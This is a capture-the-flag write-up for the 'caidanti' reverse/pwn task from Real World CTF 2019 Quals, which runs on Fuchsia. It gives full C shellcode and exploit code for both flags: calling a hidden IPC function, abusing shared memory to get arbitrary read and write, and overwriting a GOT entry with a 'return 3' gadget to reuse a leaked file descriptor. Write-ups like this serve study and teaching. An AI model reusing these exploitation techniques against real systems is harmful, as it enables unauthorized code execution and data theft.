caidanti write-up (Real World CTF 2019 Quals)
Caidanti was a reverse/pwn task with two flags.
The task had two binaries - caidanti
and caidanti-storage-service
, running on Google’s Fuchsia operating system, which is currently under active development.
Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.
You can communicate with caidanti
binary over the network, which in turn communicates with caidanti-storage-service
over FIDL IPC.
Both flags are only available in the caidanti-storage-service
, so gaining code execution just in caidanti
is insufficient.
Flag 1
Getting the first flag required a fair amount of reverse engineering.
First, caidanti
has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.
The code is written in C++, and the class that handles the backend communication has unused function that does “GetFlag1” remote call. So we can call it from our shellcode.
The function takes two parameters, both of which are std::string
(or something similar).
Second, the implementation of this function on caidanti-storage-service
side returns the flag in the second argument if the first argument is string "YouMadeAFIDLCall"
(this check is obfuscated).
I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.
typedef struct std_string {
union {
struct {
char s[23];
unsigned char len;
} inlinestr;
struct {
char *buf;
size_t len;
size_t cap;
} bigstr;
};
} std_string;
static char *std_string_data(std_string *self) {
if (self->inlinestr.len & 0x80) {
return self->bigstr.buf;
} else {
return &self->inlinestr.s[0];
}
}
void _start(void) {
char *binary_base = __builtin_return_address(0) - 0x7205;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
printf("\n");
printf("Binary base: %p\n", binary_base);
struct std_string param2 = {.inlinestr = {.s = "YouMadeAFIDLCall", .len = 16} };
struct std_string param3 = {0};
printf("%s\n", std_string_data(¶m2));
void (*sub_7F00)(void *, void *, void *) = binary_base + 0x7F00;
sub_7F00(*(void**)(binary_base + 0x12140), ¶m2, ¶m3);
printf("%s\n", std_string_data(¶m3));
return;
}
Flag 2
The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in caidanti-storage-service
.
What we didn’t use so far is that except “GetFlag1” function, the service also provides some note taking functionality (our beloved pwn cliché).
Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it’s a shared memory, any changes done by caidanti
are immediately reflected in caidanti-storage-service
.
The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and std::string
s.
typedef struct {
unsigned char used;
std_string key;
char value[256];
} secret_t;
typedef struct {
void *vtable1;
// skip
secret_t secrets[16];
} shit_t;
To read arbitrary memory, we point some note’s key
buffer to memory we want to read, set len
and capacity
accordingly, and call ListKeys
function.
When new note is created, the new name is assigned (operator=
) to the existing std::string
instance. If its capacity
is already enough to hold the new string, the new data is simply copied to the existing buffer
. So to implement the arbitrary write primitive, we mark a note unused, set buffer
and capacity
accordingly, and create a new note with key
is the data we want to write.
These primitives are very powerful, and quite likely it’s possible to do the stack pivot and obtain arbitrary shellcode execution.
However, there’s a much simpler solution.
When caidanti-storage-service
is run, it checks that the second flag is readable. It does so by calling open
, but it doesn’t call close
afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn’t have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).
The GetFlag1
function calls open
to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns 3
in eax
register, so we could overwrite open
GOT entry with it (which luckily was writeable).
And we found it:
pid_t __cdecl stub_getpid()
{
return 3;
}
push rbp ; Alternative name is 'getpid'
mov rbp, rsp
mov eax, 3
pop rbp
retn
After patching the open
GOT entry, the function that used to return the first flag now returns the second flag. And that’s it.
void _start(void) {
char *binary_base = __builtin_return_address(0) - 0x7205;
char *service_base;
char *libc_base;
int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
printf("\n");
printf("Binary base: %p\n", binary_base);
REBASE_FUNCTIONS(binary_base);
const void *FOO = *(void**)(binary_base + 0x12140);
{
struct std_string key = INIT_STRING("hui");
struct std_string value = INIT_STRING("test");
int new_id;
create_secret(FOO, &key, &value, &new_id);
}
shit_t *shit;
{
struct std_string key = INIT_STRING("hui");
int *handle = 0;
read_secret(FOO, &key, &handle);
zx_vaddr_t res;
zx_vmar_map(zx_vmar_root_self(), ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, 0, *handle, 0, 8192, &res);
shit = (shit_t*)res;
}
service_base = shit->vtable1 - 0x13060;
printf("storage-service base: %p\n", service_base);
shit->secrets[0].used = 1;
shit->secrets[0].key.bigstr.buf = service_base + 0x140B8; // strlen
shit->secrets[0].key.bigstr.len = 256;
shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
{
stringvector_t hui = {0, 0};
list_secrets(FOO, &hui);
while (hui.begin < hui.end) {
uintptr_t *ptr = std_string_data(hui.begin);
printf(" %p\n", *ptr);
libc_base = *ptr - 0x98530;
hui.begin += 32;
break;
}
}
printf("libc base: %p\n", libc_base);
shit->secrets[0].used = 0;
shit->secrets[0].key.bigstr.buf = service_base + 0x14018; /// open
shit->secrets[0].key.bigstr.len = 0;
shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
{
struct std_string key = {.inlinestr = {.len = 8}};
*(uintptr_t*)&key = libc_base + 0x9D270; // "return 3" gadget
struct std_string value = INIT_STRING("AAAAAAAA");
int new_id;
create_secret(FOO, &key, &value, &new_id);
}
{
struct std_string param = INIT_STRING("YouMadeAFIDLCall");
struct std_string value = {};
get_flag1(FOO, ¶m, &value);
printf("%s\n", std_string_data(&value));
}
return;
}